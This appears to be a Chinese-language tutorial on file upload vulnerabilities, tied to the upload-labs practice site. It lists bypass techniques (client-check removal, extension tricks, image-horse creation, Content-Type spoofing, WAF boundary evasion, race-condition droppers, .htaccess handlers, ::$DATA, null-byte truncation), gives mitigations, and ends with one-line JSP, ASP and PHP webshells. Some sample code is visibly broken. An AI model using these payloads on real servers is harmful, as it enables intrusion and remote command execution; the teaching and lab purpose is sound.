是指由于开发人员在对用户文件上传部分的控制不足或者处理缺陷,导致的用户向服务器上上传可执行的动态脚本文件。
这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。"文件上传"本身没有问题,有问题的是文件上传后,服务器怎么处理文件。
文件上传漏洞可以利用需满足三个条件:
1.文件可上传
2.上传文件可已被web容器解释执行
3.上传路径可知
文件上传导致的危害:
1、上传的文件是web脚本语言,服务器的web容器解释并执行了用户上传的脚本,脚本语言执行。
2、上传文件是Flash的策略文件crossdomain.xml,黑客用以 控制Flash在该域下的行为(其他通过类似方式控制策略文件的情况类似)。
3、上传文件是病毒、木马文件,黑客用以诱骗用户或者管理员下载执行。
4、上传文件是钓鱼图片或者包含了脚本的图片,在某些版本的浏览器中会被作为脚本执行,被用于钓鱼和欺诈。
5、上传文件作为一个入口,溢出服务器的后台处理程序,如图片解析模块。
6、上传一个合法的文本文件,但是其内容是php脚本,通过文件包含使这个文本文件以脚本格式执行。可查看服务器目录,服务器中的文件,执行系统命令、代码等。
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
var allow_ext = ".jpg|.png|.gif";
var ext_name = file.substring(file.lastIndexOf("."));
if (allow_ext.indexOf(ext_name) == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
var allow_ext = ".jpg|.png|.gif";
这行代码定义了上传的文件类型只能是这三种类型。如果文件类型不属于这三种,那么在前端就会限制上传。
方法1、我们F12打开前端代码,文件上传是通过checkFile()方法进行校验的,那么我们删掉这个校验方法就可以了,这个校验方法失效,就可以上传".jpg|.png|.gif"之外的文件了。
方法2、我们通过代理软件抓取上传页面请求包,绕过前端限制。
将1.png改为1.php,放包就可以了。
服务端校验文件上传的方式比较多,常见的有,通过文件后缀校验、通过文件类型校验、通过文件内容校验等。
这段代码是服务端对上传文件判断处理的代码,通过phpinfo()
获取文件后缀,通过strtolower()
转换为小写之后,判断是不是不允许上传的文件后缀。
if($_FILES["file"]["error]>0)>
{
echo "Return Code: " .$_FILES["FILE"]["error"] . "<br/>";
}
else
{
$info=pathinfo($_FILES["file"]["name"]);
$ext=$info['extension'];//得到文件拓展名
if(strtolower($ext)=="php","asp","jsp"){
exit("不允许的文件拓展名");
}
echo "Upload:" .$_FILES["file"]["name"] ."<br />";
echo "Type:" .$_FILES["file"]["type"] ."<br />";
echo "Size:" .($_FILES["fiel"]["size"] / 1024) ."kb<br />";
echo "Temp file:" .$_FILES["file"]["tmp_name"] . "<br />";
if(file_exists("upload/" .$_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] ."already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload/" . $FILES["file"]["name"]);
echo "Stored in:" ."upload/" .$_FILES["file"]["name"];
}
}
?>
绕过方法:
1、使用除被限制之外的拓展名:
PHP:php / php5 / pht / phtml / shtml / pwml / phtm 等
ASP:asa / asax / cer / cdx / aspx / ascx / ashx / asmx等
JSP: jspx / jspf / jspa / jsw / jsv / jtml 等
其他:vbs / asis / sh / reg / cgi / exe / dll / com / bat / pl / cfc / cfm / ini 等
2、使用图片马进行绕过
图片马制作方法:copy 1.jpg/b + 1.php/a 2.jpg
3.在仅仅针对后缀名进行验证时,有时候,我们可以通过大小写,双写等进行绕过
在客户端上传文件时,通过burpsuite抓包,当上传php文件时,可以看到请求包中content-type的值为application/octet-stream,而上传png文件时content-type为image/png。
但是这种验证方法是存在被绕过的可能的,因为content-type是通过客户端进行验证的,当我们上传php文件时,我们可以抓包将content-type得到值更改为image/jpg,就可以进行绕过,同理,我们上传其他脚本格式的时候,可以将content-type的值修改为允许上传的content-type类型即可。
1、某些系统在进行文件检测时,会对文件进行编码,然后再通过文件幻数对文件进行过滤,我们可以通过在文件其他地方插入代码的方式进行绕过。
绕过方法:
①系统对图片进行十六进制编码,然后对图片的头部进行检查,以此来判断是否属于图片文件。
②由于对图片进行了编码,所以我们在图片中插入的一句话脚本,可能也被编码,这个时候,我们就需要测试我们上传的图片在上传前和上传后哪些位置的编码是没有发生改变的,然后将脚本插入未改变的地方即可。
有部分WAF在校验文件上传时,对文件的内容大小进行校验,这时,我们可以在内容中加入大量垃圾数据,在后面加上脚本文件,可以绕过WAF的检测。
另外,WAF和web系统对boundary处理不一致,可以使用错误的boundry对限制进行绕过。
原内容:
Content-Type:
multipart/form-data; boundary=--------------------20948798663054988023916500157
修改后:
Content-Type:
multipart/form-data; boundary =--------------------20948798663054988023916500157
boundary后面加入空格。
一些网站上传文件的逻辑是先允许上传任意文件,然后检查上传的文件是否包含WebShell脚本,如果包含则删除该文件。这里存在的问题是文件上传成功后和删除文件之间存在一个短的时间差(因为期间要执行检查文件和删除文件的操作),攻击者就可以利用这个时间差完成竞争条件的上传漏洞攻击。
先上传一个WebShell脚本1.php,1.php的内容是生成一个新的WebShell脚本shell.php,1.php代码如下:
fputs(fopen('../shell.php','w'),'');
?>
当1.php上传成功之后,客户端立即访问1.php,则会在服务器当前目录下自动生成shell.php,这时攻击者就完成了通过时间差上传webshell。
.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过 .htaccess文件,可以实现网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能,该文件默认开启,启用和关闭在 httpd.conf 文件中配置。
.htaccess 文件生效前提条件为:
mod_rewrite 模块开启
AllowOverride All
①上传.htaccess文件,文件内容为:
<FilesMatch "1.png">
SetHandler application/x-httpd-php
</FilesMatch>
<?php eval(@$_POST['a']); ?>
1、上传不符合windows文件命名规则的文件名
php在windows的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,
不会检测后缀名.且保持"::$DATA"之前的文件名。
如图:上传PHP文件,在文件后缀名中加入::$DATA即可
2、
①在文件后缀中加入.
或者空格
进行绕过
②linux下后缀名大小写;在linux下,如果上传php不被解析,可以上传Php后缀的文件名。
有些WAF的规则是:如果数据包为POST类型,则校验数据包内容,而忽略了需要校验GET,那么我们通过burpsuite抓包将POST改为GET。
截断类型php%00
截断原理:由于00代表结束符,所以会把00后面的所以字符删除
截断条件:PHP版本小于5.3.4,PHP的magic_quotes_gpc
为OFF状态
解析漏洞可参考另一篇博客:解析漏洞
1、文件上传目录不可执行;
2、文件上传路径不可知;
3、判断文件类型;
4、单独设置文件服务器的域名,站库分离;
5、设置白名单;
6、对文件名进行二次渲染等
文件上传漏洞的利用是简单而直接的。
附练习地址:文件上传练习:upload-labs
一句话webshell:
1、jsp的一句话木马
<%Runtime.getRuntime().exec(request.getParameter("i"));%>
2、asp的一句话木马
<%eval request("cmd")%>
3、php的一句话木马
echo shell_exec($_GET['cmd']);?>
eval(@$_POST['a']); ?>